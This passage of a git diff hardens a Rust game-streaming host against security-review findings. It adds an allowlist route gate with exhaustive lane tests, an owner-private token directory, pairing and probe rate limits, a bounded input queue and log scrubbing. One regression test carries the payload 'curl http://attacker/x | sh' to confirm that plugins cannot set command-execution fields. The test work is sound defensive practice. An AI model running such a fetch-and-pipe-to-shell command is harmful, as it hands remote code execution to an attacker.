category, + }) } fn validate_ui(u: PluginUi) -> Result { @@ -558,6 +601,7 @@ mod tests { secret: secret.into(), icon: Some("gamepad-2".into()), }), + category: None, } } @@ -584,10 +628,30 @@ mod tests { title: "Ro\u{7}m\n".into(), version: None, ui: None, + category: None, }) .unwrap(); assert_eq!(v.title, "Rom"); - // privileged port rejected + // Category charset (WP2.7): the console's one known value passes; the shapes that would + // break a grouping key don't. An UNKNOWN-but-well-formed category is accepted on purpose — + // a newer plugin must not fail to register against an older host. + let lib = |c: &str| PluginRegistration { + title: "X".into(), + version: None, + ui: None, + category: Some(c.into()), + }; + assert_eq!( + validate(lib("library")).unwrap().category.as_deref(), + Some("library") + ); + assert!(validate(lib("some-future-kind")).is_ok()); + assert!(validate(lib("")).is_err()); + assert!(validate(lib("Library")).is_err()); // no uppercase + assert!(validate(lib("9lives")).is_err()); // must start with a letter + assert!(validate(lib("lib_rary")).is_err()); // no underscore + assert!(validate(lib(&"a".repeat(33))).is_err()); // too long + // privileged port rejected assert!(validate(reg("x", 80, SECRET)).is_err()); // short secret rejected assert!(validate(reg("x", 49321, "tooshort")).is_err()); @@ -641,6 +705,7 @@ mod tests { title: "Headless".into(), version: None, ui: None, + category: None, }) .unwrap(), ); diff --git a/crates/punktfunk-host/src/mgmt/store.rs b/crates/punktfunk-host/src/mgmt/store.rs index 849aa81b..a24d9742 100644 --- a/crates/punktfunk-host/src/mgmt/store.rs +++ b/crates/punktfunk-host/src/mgmt/store.rs @@ -108,6 +108,14 @@ pub(crate) struct CatalogEntry { /// A revocation covering the catalogued version — do not offer this without shouting. #[serde(skip_serializing_if = "Option::is_none")] pub blocked: Option, + /// What kind of plugin this is — the console filters Browse by these, and the Game sources + /// surface's "Add a source" rail shows exactly the `library` ones (design D5/D6). + pub categories: Vec, + /// Whether the launcher this plugin scans looks **installed on this host** (design D8), from the + /// index's own existence probes. `null` = the entry declares no probes for this platform, which + /// the console renders as "unknown" rather than "not installed". + #[serde(skip_serializing_if = "Option::is_none")] + pub detected: Option, } #[derive(Serialize, ToSchema)] @@ -277,6 +285,8 @@ fn build_catalog(force: bool) -> CatalogResponse { update_available: installed_version.as_deref().is_some_and(|v| v != e.version), installed_version, blocked: store::advisory_for(&e.pkg, Some(&e.version)).map(|a| a.reason), + categories: e.categories.clone(), + detected: e.detected(), }); } } diff --git a/crates/punktfunk-host/src/mgmt/tests.rs b/crates/punktfunk-host/src/mgmt/tests.rs index 28c24881..a1d25851 100644 --- a/crates/punktfunk-host/src/mgmt/tests.rs +++ b/crates/punktfunk-host/src/mgmt/tests.rs @@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() { assert_eq!(status, StatusCode::BAD_REQUEST); } +/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix. +/// +/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it. +/// What is refused is the pair of fields inside the payload that the host later executes verbatim as +/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch. +/// Those are the operator's authority, and the whole trust argument at their execution sites is that +/// a human typed them into the admin console. +#[tokio::test] +async fn plugin_lane_cannot_set_command_execution_fields() { + let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret" + + let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| { + axum::http::Request::builder() + .method(method) + .uri(path) + .header("content-type", "application/json") + .header("authorization", format!("Bearer {token}")) + .body(Body::from(body.to_string())) + .unwrap() + }; + + // The two shapes of the primitive, on the two routes that carry it. + let prep = serde_json::json!({ + "title": "Pwned", + "prep": [{"do": "curl http://attacker/x | sh"}], + }); + let command = serde_json::json!({ + "title": "Pwned", + "launch": {"kind": "command", "value": "curl http://attacker/x | sh"}, + }); + for (path, method) in [ + ("/api/v1/library/custom", "POST"), + ("/api/v1/library/custom/some-id", "PUT"), + ] { + for body in [&prep, &command] { + let (status, err) = + send(&app, as_lane("plugin-secret", method, path, body.clone())).await; + assert_eq!( + status, + StatusCode::FORBIDDEN, + "plugin token must not set an executed field via {method} {path}" + ); + assert!( + err["error"].as_str().unwrap().contains("host user"), + "the refusal should say why: {err}" + ); + } + } + // The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the + // first. A payload that hides the primitive behind a benign leading entry is still refused. + let sneaky = serde_json::json!([ + {"external_id": "a", "title": "Innocent"}, + {"external_id": "b", "title": "Pwned", + "launch": {"kind": "command", "value": "curl http://attacker/x | sh"}}, + ]); + let (status, _) = send( + &app, + as_lane( + "plugin-secret", + "PUT", + "/api/v1/library/provider/romm", + sneaky, + ), + ) + .await; + assert_eq!( + status, + StatusCode::FORBIDDEN, + "a privileged field anywhere in a reconcile payload must be refused" + ); + + // Every refusal above happens BEFORE the catalog is touched, so this test never writes to the + // host config dir. The converse — that the operator's own lane may set these fields, and that a + // plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_ + // execution_only`, which needs no filesystem either. + assert!( + crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(), + "the operator's token is the lane these fields belong to" + ); + assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields()); + assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields()); +} + +/// **Every route in the live table is explicitly classified for both non-admin lanes.** +/// +/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access` +/// used to be a denylist, so a route added after the list was written was granted to the plugin +/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the +/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across +/// ~1450 commits. +/// +/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is +/// classified. This test makes that classification a conscious, reviewed act rather than a silent +/// default in either direction — adding a route fails the build until its row is added here, and the +/// row is where a reviewer looks to ask "should a plugin really reach this?". +#[test] +fn every_route_is_classified_for_the_plugin_and_cert_lanes() { + use axum::http::Method; + + // (method, path template, plugin token may reach, paired streaming cert may reach). + // EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation. + const EXPECTED: &[(&str, &str, bool, bool)] = &[ + // ---- host / status: readable by a plugin; the small read-only set is the cert lane's. + ("GET", "/api/v1/health", true, false), // always open, handled before either gate + ("GET", "/api/v1/host", true, true), + ("GET", "/api/v1/status", true, true), + ("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates + ("GET", "/api/v1/compositors", true, true), + ("GET", "/api/v1/events", true, false), + ("GET", "/api/v1/logs", true, false), + // ---- paired-device rosters: readable by a plugin, never by another paired client, and + // removal is pairing administration in both lanes. + ("GET", "/api/v1/clients", true, false), + ("DELETE", "/api/v1/clients/{fingerprint}", false, false), + ("GET", "/api/v1/native/clients", true, false), + ( + "DELETE", + "/api/v1/native/clients/{fingerprint}", + false, + false, + ), + // ---- pairing administration + PIN visibility: the operator's token alone. + ("GET", "/api/v1/pair", false, false), + ("POST", "/api/v1/pair/pin", false, false), + ("GET", "/api/v1/native/pair", false, false), + ("DELETE", "/api/v1/native/pair", false, false), + ("POST", "/api/v1/native/pair/arm", false, false), + ("GET", "/api/v1/native/pending", false, false), + ("POST", "/api/v1/native/pending/{id}/approve", false, false), + ("POST", "/api/v1/native/pending/{id}/deny", false, false), + // ---- GPU + display: host configuration, no privilege boundary. + ("GET", "/api/v1/gpus", true, false), + ("PUT", "/api/v1/gpus/preference", true, false), + ("GET", "/api/v1/display/settings", true, false), + ("PUT", "/api/v1/display/settings", true, false), + ("GET", "/api/v1/display/state", true, false), + ("GET", "/api/v1/display/monitors", true, false), + ("PUT", "/api/v1/display/layout", true, false), + ("POST", "/api/v1/display/release", true, false), + ("GET", "/api/v1/display/presets", true, false), + ("POST", "/api/v1/display/presets", true, false), + ("PUT", "/api/v1/display/presets/{id}", true, false), + ("DELETE", "/api/v1/display/presets/{id}", true, false), + // ---- session control. + ("DELETE", "/api/v1/session", true, false), + ("POST", "/api/v1/session/idr", true, false), + ("GET", "/api/v1/session/settings", true, false), + ("PUT", "/api/v1/session/settings", true, false), + ("POST", "/api/v1/game/end", true, false), + // ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the + // operator-privileged FIELDS inside those payloads are refused in the handler — see + // `plugin_lane_cannot_set_command_execution_fields`. + ("GET", "/api/v1/library", true, true), + ("GET", "/api/v1/library/art/{id}/{kind}", true, true), + ("GET", "/api/v1/library/scanners", true, false), + ("PUT", "/api/v1/library/scanners/{id}", true, false), + ("POST", "/api/v1/library/custom", true, false), + ("PUT", "/api/v1/library/custom/{id}", true, false), + ("DELETE", "/api/v1/library/custom/{id}", true, false), + ("PUT", "/api/v1/library/provider/{provider}", true, false), + ("DELETE", "/api/v1/library/provider/{provider}", true, false), + // ---- stats. + ("POST", "/api/v1/stats/capture/start", true, false), + ("POST", "/api/v1/stats/capture/stop", true, false), + ("GET", "/api/v1/stats/capture/status", true, false), + ("GET", "/api/v1/stats/capture/live", true, false), + ("GET", "/api/v1/stats/recordings", true, false), + ("GET", "/api/v1/stats/recordings/{id}", true, false), + ("DELETE", "/api/v1/stats/recordings/{id}", true, false), + // ---- plugins: its own directory entry and log ingest, never another plugin's UI secret. + ("GET", "/api/v1/plugins", true, false), + ("POST", "/api/v1/plugins/logs", true, false), + ("PUT", "/api/v1/plugins/{id}", true, false), + ("DELETE", "/api/v1/plugins/{id}", true, false), + ("GET", "/api/v1/plugins/{id}/ui-credential", false, false), + // ---- hooks: writing is command execution as the host user; reading exposes webhook creds. + ("GET", "/api/v1/hooks", false, false), + ("PUT", "/api/v1/hooks", false, false), + // ---- the store: installing a plugin runs new code with operator privileges. + ("GET", "/api/v1/store/catalog", false, false), + ("POST", "/api/v1/store/refresh", false, false), + ("GET", "/api/v1/store/installed", false, false), + ("POST", "/api/v1/store/install", false, false), + ("POST", "/api/v1/store/uninstall", false, false), + ("GET", "/api/v1/store/jobs", false, false), + ("GET", "/api/v1/store/jobs/{id}", false, false), + ("GET", "/api/v1/store/sources", false, false), + ("PUT", "/api/v1/store/sources/{name}", false, false), + ("DELETE", "/api/v1/store/sources/{name}", false, false), + ("GET", "/api/v1/store/runtime", false, false), + ("POST", "/api/v1/store/runtime", false, false), + // ---- updates: `apply` runs an installer / the root helper. + ("GET", "/api/v1/update/status", false, false), + ("POST", "/api/v1/update/check", false, false), + ("POST", "/api/v1/update/apply", false, false), + ]; + + /// A path template's concrete form: every `{param}` segment becomes a literal, so the gates + /// are exercised on the shape a real request has. + fn concrete(template: &str) -> String { + template + .split('/') + .map(|s| if s.starts_with('{') { "sample" } else { s }) + .collect::>() + .join("/") + } + + let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap(); + let mut live: Vec<(String, String)> = Vec::new(); + for (path, ops) in doc["paths"].as_object().unwrap() { + for method in ops.as_object().unwrap().keys() { + if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") { + live.push((method.to_uppercase(), path.clone())); + } + } + } + + // 1. Every LIVE route has a classification row. A new route fails here until it gets one. + for (method, path) in &live { + assert!( + EXPECTED + .iter() + .any(|(m, p, _, _)| m == method && p == path), + "route {method} {path} has no lane classification — add a row to EXPECTED in this test \ + and decide, deliberately, whether the plugin token and a paired streaming cert may \ + reach it" + ); + } + // 2. No STALE rows: a removed route must not leave a classification behind claiming coverage. + for (method, path, _, _) in EXPECTED { + assert!( + live.iter().any(|(m, p)| m == method && p == path), + "EXPECTED lists {method} {path}, which is not in the live route table — remove the row" + ); + } + // 3. The gates agree with the classification, on both lanes. + for (method, path, plugin_ok, cert_ok) in EXPECTED { + let m = Method::from_bytes(method.as_bytes()).unwrap(); + let concrete = concrete(path); + assert_eq!( + auth::plugin_may_access(&m, &concrete), + *plugin_ok, + "plugin lane: {method} {path} should be {}", + if *plugin_ok { "reachable" } else { "denied" } + ); + assert_eq!( + auth::cert_may_access(&m, &concrete), + *cert_ok, + "cert lane: {method} {path} should be {}", + if *cert_ok { "reachable" } else { "denied" } + ); + } +} + +/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not +/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites. +#[test] +fn plugin_allowlist_matches_whole_segments_only() { + use axum::http::Method; + // The UI credential sits one segment below an allowed route and must stay denied. + assert!(auth::plugin_may_access( + &Method::PUT, + "/api/v1/plugins/rom-manager" + )); + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/plugins/rom-manager/ui-credential" + )); + // A hypothetical future sub-route of an allowed route is denied until classified. + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/library/secrets" + )); + assert!(!auth::plugin_may_access( + &Method::POST, + "/api/v1/session/settings/x" + )); + // Method matters: the roster is readable, its removal is not. + assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients")); + assert!(!auth::plugin_may_access( + &Method::DELETE, + "/api/v1/clients/aabbcc" + )); + // A path prefix that is not a segment prefix must not match at all. + assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses")); + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/library-secrets" + )); +} + /// The OpenAPI document lists every route with a unique operationId (codegen relies /// on both), and the checked-in copy is current. #[test] diff --git a/crates/punktfunk-host/src/mgmt_token.rs b/crates/punktfunk-host/src/mgmt_token.rs index 319b8aa4..ee1c6435 100644 --- a/crates/punktfunk-host/src/mgmt_token.rs +++ b/crates/punktfunk-host/src/mgmt_token.rs @@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result { return Ok(v.to_string()); } } - let path = pf_paths::config_dir().join(file); + let dir = pf_paths::config_dir(); + // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config + // path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an + // existing token out of a directory a local user could still write means adopting whatever they + // put there: the mgmt token IS full admin on this host, so a planted one is a handed-over + // control plane, and it would be honoured for the life of the install. + pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; + let path = dir.join(file); if let Ok(contents) = fs::read_to_string(&path) { if let Some(tok) = parse_token(&contents, env_var) { return Ok(tok); @@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result { let mut buf = [0u8; 32]; rand::thread_rng().fill_bytes(&mut buf); let token = hex::encode(buf); - let dir = pf_paths::config_dir(); - // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path. - pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; write_token(&path, env_var, &token)?; tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)"); Ok(token) diff --git a/crates/punktfunk-host/src/native.rs b/crates/punktfunk-host/src/native.rs index e49b094d..db99a22b 100644 --- a/crates/punktfunk-host/src/native.rs +++ b/crates/punktfunk-host/src/native.rs @@ -817,6 +817,31 @@ async fn serve_session( anyhow::bail!("pairing requires the client to present a certificate"); }; let client_fp_hex = fingerprint_hex(&client_fp); + // The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY + // outcome — including the rejections. + // + // It used to be charged only after `pin_for_attempt` returned a PIN, which made the two + // rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at + // unlimited rate at zero cost, learning the moment the operator opens a window and racing + // the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker + // one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited. + // + // The trade is deliberate: a peer spamming knocks can now hold the cooldown against the + // operator's real device. That is a visible, self-limiting nuisance — the operator retries + // — whereas the oracle was silent and gave away the window. + { + let mut last = last_pairing.lock().unwrap(); + if let Some(t) = *last { + if t.elapsed() < PAIRING_COOLDOWN { + close_rejected( + &conn, + punktfunk_core::reject::RejectReason::PairingRateLimited, + ); + anyhow::bail!("pairing rate-limited — retry shortly"); + } + } + *last = Some(std::time::Instant::now()); + } // Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any // fingerprint binding. let pin = match np.pin_for_attempt(&client_fp_hex) { @@ -839,19 +864,6 @@ async fn serve_session( ) } }; - { - let mut last = last_pairing.lock().unwrap(); - if let Some(t) = *last { - if t.elapsed() < PAIRING_COOLDOWN { - close_rejected( - &conn, - punktfunk_core::reject::RejectReason::PairingRateLimited, - ); - anyhow::bail!("pairing rate-limited — retry shortly"); - } - } - *last = Some(std::time::Instant::now()); - } return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin) .await .map(|()| Served::Session); @@ -1208,7 +1220,22 @@ async fn serve_session( // channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button // traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on // whichever arrives. - let (input_tx, input_rx) = std::sync::mpsc::channel::(); + // BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded + // with `try_send` since security-review S6, and the three input planes had simply never been + // given the same treatment (2026-08-05 review M-3). + // + // The producer is one `read_datagram` loop that can push a message per datagram; the consumer + // handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The + // producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue + // the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a + // 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or + // any LAN peer under `--open`. + // + // Dropping is correct here in a way it would not be for a reliable stream: input is a + // real-time plane where a sample that cannot be delivered promptly is already stale — the + // freshest state wins, and the injector re-syncs from the next event. + const INPUT_QUEUE_DEPTH: usize = 1024; + let (input_tx, input_rx) = std::sync::mpsc::sync_channel::(INPUT_QUEUE_DEPTH); let rich_tx = input_tx.clone(); // The stream loop's handle into the same pipeline: it parks the seat pointer on the // streamed surface (stream.rs `park_pointer`) through exactly the path client input takes. @@ -1235,6 +1262,20 @@ async fn serve_session( let input_conn = conn.clone(); tokio::spawn(async move { let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64); + let mut dropped = 0u64; + // `try_send` on a full queue drops rather than blocking this loop — blocking here would + // stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input + // thread having gone away, which is the one condition that ends the loop. + let mut offer = |tx: &std::sync::mpsc::SyncSender, item: ClientInput| match tx + .try_send(item) + { + Ok(()) => true, + Err(std::sync::mpsc::TrySendError::Full(_)) => { + dropped += 1; + true + } + Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false, + }; while let Ok(d) = input_conn.read_datagram().await { if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) { mic_count += 1; @@ -1249,7 +1290,7 @@ async fn serve_session( }); } else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) { rich_count += 1; - if rich_tx.send(ClientInput::Rich(rich)).is_err() { + if !offer(&rich_tx, ClientInput::Rich(rich)) { break; } } else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) { @@ -1257,7 +1298,7 @@ async fn serve_session( // design; see punktfunk_core::quic::pen). Routed to the same input thread, // which owns the per-session tracker + virtual tablet. rich_count += 1; - if rich_tx.send(ClientInput::Pen(pen)).is_err() { + if !offer(&rich_tx, ClientInput::Pen(pen)) { break; } } else if let Some(mut ev) = InputEvent::decode(&d) { @@ -1273,7 +1314,7 @@ async fn serve_session( ) { ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK; } - if input_tx.send(ClientInput::Event(ev)).is_err() { + if !offer(&input_tx, ClientInput::Event(ev)) { break; } } @@ -1282,6 +1323,7 @@ async fn serve_session( input = input_count, mic = mic_count, rich = rich_count, + dropped, "client datagram stream ended" ); }); diff --git a/crates/punktfunk-host/src/native/control.rs b/crates/punktfunk-host/src/native/control.rs index a6bdc9ca..916e6500 100644 --- a/crates/punktfunk-host/src/native/control.rs +++ b/crates/punktfunk-host/src/native/control.rs @@ -70,6 +70,15 @@ pub(super) async fn run( // coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s). const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500); let mut last_accepted_switch: Option = None; + // Speed-test probes get the same treatment as mode switches, for the same reason. + // + // Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could + // queue, so one could pause its own video and pin the host's uplink indefinitely by simply + // asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not + // (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes + // at session start and on a manual speed test) and makes the channel useless as an amplifier. + const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10); + let mut last_probe: Option = None; // Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe // result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg` // would lose the partial frame and misalign the stream for the rest of the session. @@ -233,6 +242,15 @@ pub(super) async fn run( ); let _ = shard_ack_tx.send(ack.shard_payload); } else if let Ok(req) = ProbeRequest::decode(&msg) { + let now = std::time::Instant::now(); + if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) { + tracing::warn!( + target_kbps = req.target_kbps, + "speed-test probe rejected (rate-limited)" + ); + continue; + } + last_probe = Some(now); tracing::info!( target_kbps = req.target_kbps, duration_ms = req.duration_ms, diff --git a/crates/punktfunk-host/src/native/input.rs b/crates/punktfunk-host/src/native/input.rs index c227d442..f0f70d25 100644 --- a/crates/punktfunk-host/src/native/input.rs +++ b/crates/punktfunk-host/src/native/input.rs @@ -848,11 +848,22 @@ pub(super) fn input_thread( // Rich input (touchpad / motion) is applied the moment it arrives; the single channel // wakes for gyro samples instead of making them wait out the feedback poll interval. Ok(ClientInput::Rich(rich)) => { - if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) { + // Debug-only instrument: skip the whole thing unless debug logging is actually + // enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop + // regardless, so every session paid for a measurement nobody was reading — and the + // "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption + // about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review + // L-5). The explicit cap below makes it a bound. + if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) + && tracing::enabled!(tracing::Level::DEBUG) + { let now = std::time::Instant::now(); if let Some(prev) = last_motion.replace(now) { let gap = now.duration_since(prev); - if gap < std::time::Duration::from_secs(1) { + // 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop + // for a client that simply sends motion as fast as the link allows. + if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000 + { motion_gaps_us.push(gap.as_micros() as u32); } } diff --git a/crates/punktfunk-host/src/native/pairing.rs b/crates/punktfunk-host/src/native/pairing.rs index 34d8f107..385ce5d2 100644 --- a/crates/punktfunk-host/src/native/pairing.rs +++ b/crates/punktfunk-host/src/native/pairing.rs @@ -7,6 +7,7 @@ use super::*; // The ceremony-only wire messages: imported directly (native.rs no longer references them, so they // were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives // via the glob (serve_session decodes it). +use crate::native_pairing::sanitize_device_name; use punktfunk_core::quic::{PairChallenge, PairProof, PairResult}; /// Pairing needs a human in the loop (reading the PIN off the host, typing it into the @@ -29,10 +30,19 @@ pub(super) async fn pair_ceremony( use punktfunk_core::quic::pake; let client_fp = endpoint::peer_fingerprint(conn) .ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?; + let client_fp_hex = fingerprint_hex(&client_fp); + // Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on. + // + // This name arrives from an UNPAIRED device — the earliest, least authenticated input the host + // takes — and these were the three log sites that bypassed the documented single scrubber, so + // ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal + // (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own + // module doc; the storage path already went through it, only the logging did not. + let name = sanitize_device_name(&req.name, &client_fp_hex); tracing::info!( - name = %req.name, - client = %fingerprint_hex(&client_fp), + name = %name, + client = %client_fp_hex, "PAIRING REQUEST — verifying against the armed PIN" ); @@ -74,9 +84,9 @@ pub(super) async fn pair_ceremony( if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) { tracing::error!(error = %format!("{e:#}"), "could not persist paired clients"); } - tracing::info!(name = %req.name, "pairing complete — client trusted"); + tracing::info!(name = %name, "pairing complete — client trusted"); } else { - tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored"); + tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored"); } io::write_msg(&mut send, &PairResult { ok }.encode()).await?; let _ = send.finish(); diff --git a/crates/punktfunk-host/src/native/stream.rs b/crates/punktfunk-host/src/native/stream.rs index 6047d088..dbcf41e7 100644 --- a/crates/punktfunk-host/src/native/stream.rs +++ b/crates/punktfunk-host/src/native/stream.rs @@ -441,26 +441,27 @@ fn idd_adaptive_enabled() -> bool { /// Seal one access unit and send it with MICROBURST pacing (the shared /// [`send_pacing`](crate::send_pacing) policy, native parameterization): the first `burst_cap` /// bytes go out immediately (one absorbed burst the NIC / socket tx-buffer can swallow), and -/// only the OVERFLOW beyond that is spread across `min(~90% of the time to deadline, the time -/// the overflow needs at pace_rate_bps)` in ADAPTIVE chunks — 16 packets at today's rates, -/// coarsening to at most 64 (the GSO-segment cap) once the rate would otherwise skip every -/// sub-floor sleep, so ≥1 Gbps frames still pace instead of collapsing into an unpaced blast -/// (plan Phase 1.2). `burst_cap` `None` = auto: `max(128 KB, this AU's wire bytes / 4)`, so -/// the burst stays a bounded fraction of a high-rate frame instead of swallowing it whole -/// (plan Phase 1.3); `Some` = PUNKTFUNK_PACE_BURST_KB pinned an absolute cap. So a -/// normal-bitrate frame (≤ cap) leaves in one immediate burst at ~0 added latency, while a -/// genuine IDR / sustained-high-bitrate frame (≫ cap) still spreads — keeping the freeze fix -/// exactly where it's needed (an unpaced line-rate burst overruns the kernel tx buffer → -/// EAGAIN drop → under infinite GOP, a freeze until the next keyframe). With no slack -/// (encode ≈ interval) the budget collapses to 0 and even the overflow goes out immediately, -/// so this is never slower than unpaced. +/// only the OVERFLOW beyond that is spread across the time it needs at `pace_rate_bps` in +/// ADAPTIVE chunks — 16 packets at today's rates, coarsening to at most 64 (the GSO-segment +/// cap) once the rate would otherwise skip every sub-floor sleep, so ≥1 Gbps frames still pace +/// instead of collapsing into an unpaced blast (plan Phase 1.2). `burst_cap` `None` = auto: +/// `max(128 KB, this AU's wire bytes / 4)`, so the burst stays a bounded fraction of a +/// high-rate frame instead of swallowing it whole (plan Phase 1.3); `Some` = +/// PUNKTFUNK_PACE_BURST_KB pinned an absolute cap. So a normal-bitrate frame (≤ cap) leaves in +/// one immediate burst at ~0 added latency, while a genuine IDR / sustained-high-bitrate frame +/// (≫ cap) still spreads — keeping the freeze fix exactly where it's needed (an unpaced +/// line-rate burst overruns the kernel tx buffer → EAGAIN drop → under infinite GOP, a freeze +/// until the next keyframe). /// -/// `pace_rate_bps` (latency plan T1.2) bounds the spread from above: the deadline term alone -/// smears a big frame's tail across the whole remaining interval (~15 ms at 60 fps) even when -/// the link could drain it in 2–3 ms. The caller passes ~3× the live encoder bitrate — a rate -/// the link is proven to carry sustained, so the bounded excursion keeps the anti-freeze -/// property while the tail leaves as soon as the link plausibly allows. `0` = uncapped -/// (legacy smoothness-only spread, and the fallback when the bitrate isn't known yet). +/// `pace_rate_bps` (latency plan T1.2; resume-safe form, stall program T2): the caller passes +/// ~3× the live encoder bitrate — a rate the link is proven to carry sustained — and the +/// overflow's wire time at that rate IS the pace budget ([`crate::send_pacing::native_budget`], +/// [`crate::send_pacing::MAX_PACE_SPREAD`]-bounded). The frame deadline no longer under-cuts +/// the spread: for a steady-state frame the rate term was the smaller one anyway (tail gone in +/// a fraction of the interval), and for an oversized frame (stall-resume scene delta, cold +/// IDR) the old deadline clamp was exactly the line-rate blast → tx-overrun → freeze path this +/// module exists to prevent. `0` = uncapped legacy deadline-only spread +/// (PUNKTFUNK_PACE_FACTOR=0, and the fallback when the bitrate isn't known yet). #[allow(clippy::too_many_arguments)] fn paced_submit( session: &mut Session, @@ -498,34 +499,22 @@ fn pace_sealed( chunk: crate::send_pacing::ChunkPolicy::Adaptive { base: 16, max: 64 }, sleep_floor: std::time::Duration::from_micros(500), }; - // T1.2 rate cap: the overflow's wire time at `pace_rate_bps`. Only the bytes past the - // burst pace at all, so only they bound the budget. + // T1.2 rate cap, resume-safe form (stall program T2): the overflow's wire time at + // `pace_rate_bps` IS the budget — the deadline no longer under-cuts it, so an oversized + // frame (a stall-resume scene delta, a cold IDR) paces at the proven 3× rate instead of + // collapsing into a line-rate blast that overruns the socket buffer and loses the very + // frame that ends a freeze. See `send_pacing::native_budget` for the full argument. let overflow_bytes = wire_bytes.saturating_sub(burst_bytes) as u64; - let cap = if pace_rate_bps > 0 && overflow_bytes > 0 { - std::time::Duration::from_nanos( - (overflow_bytes * 8).saturating_mul(1_000_000_000) / pace_rate_bps, - ) - } else { - std::time::Duration::MAX - }; + let budget = crate::send_pacing::native_budget(deadline, pace_rate_bps, overflow_bytes); // Time the socket handoff per chunk and fold it into the session's SealPerf split — the // sleeps between chunks stay excluded, so sock_ns is pure send_gso/sendmmsg time. let mut sock_ns = 0u64; - let result = crate::send_pacing::pace_frame( - &refs, - crate::send_pacing::PaceBudget::UntilDeadline { - deadline, - fraction: 0.9, - cap, - }, - &cfg, - |chunk| { - let t0 = std::time::Instant::now(); - let r = session.send_sealed(chunk).map(|_| ()); - sock_ns += t0.elapsed().as_nanos() as u64; - r - }, - ); + let result = crate::send_pacing::pace_frame(&refs, budget, &cfg, |chunk| { + let t0 = std::time::Instant::now(); + let r = session.send_sealed(chunk).map(|_| ()); + sock_ns += t0.elapsed().as_nanos() as u64; + r + }); drop(refs); // release the borrow of `wires` so it can return to the seal pool session.reclaim_wires(wires); session.note_sock_ns(sock_ns); @@ -1318,7 +1307,7 @@ pub(super) struct SessionContext { /// The session's input pipeline (the same channel client datagrams feed) — the stream loop /// uses it to PARK the seat pointer on the streamed surface (see 